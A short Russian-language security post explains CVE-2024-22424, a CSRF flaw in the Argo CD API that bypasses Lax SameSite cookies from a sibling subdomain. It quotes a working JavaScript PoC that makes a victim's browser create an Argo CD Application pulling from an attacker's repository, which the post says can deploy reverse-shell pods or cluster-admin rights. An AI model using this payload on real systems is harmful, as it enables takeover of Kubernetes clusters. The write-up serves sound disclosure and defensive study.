Argo CD начался с пачки CVE (большинство из них DoS), однако наше внимание привлекла CVE-2024-22424: Cross-Site Request Forgery (CSRF) in github.com/argoproj/argo-cd.Всё началось с того, что уже несколько лет
API Argo CD уязвимо к CSRF (1,2). Но разработчики игнорировали эту проблему (видимо не было достоверных пруфов эксплуатации) и в качестве мер митигации стали использовать Lax SameSite cookie, которую можно довольно легко обойти, если origin находится в том же родительском домене, что и target.Исследователи обнаружившие эту уязвимость рассмотрели случай, когда атакующий контроллирует содержимое на
marketing.victim.com (например, через хранимую XSS) и его целью является Argo CD расположенный на argocd.internal.victim.com. Представленный PoC позволяет атакующему через CSRF уязвимость получить полный контроль над кластером Kubernetes. Для этого на подконтрольном домене атакующему достаточно разместить следующий JavaScript код:
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://argocd.internal.victim.com/api/v1/applications');
xhr.setRequestHeader('Content-Type', 'text/plain')
xhr.withCredentials = true;
xhr.send('{"apiVersion":"argoproj.io/v1alpha1","kind":"Application","metadata":{"name":"test-app1"},"spec":{"destination":{"name":"","namespace":"default","server":"https://kubernetes.default.svc"},"source":{"path":"argotest1","repoURL":"https://github.com/user/repo","targetRevision":"HEAD"},"sources":[],"project":"default","syncPolicy":{"automated":{"prune":false,"selfHeal":false}}}}')
После того как жертва перейдет на
marketing.victim.com от её лица выполнится POST запрос к API Argo CD на создание Application, где repoURL – github репозиторий, в котором злоумышленник может разместить что угодно: Bad Pods с reverse shell, Cluster Admin права и т.д. Всё это задеплоится в кластере.Более подробно об этой уязвимости можно прочитать в заметке исследователей.
Прикольно, что через веб уязвимость можно получить полный контроль над кластером Kubernetes.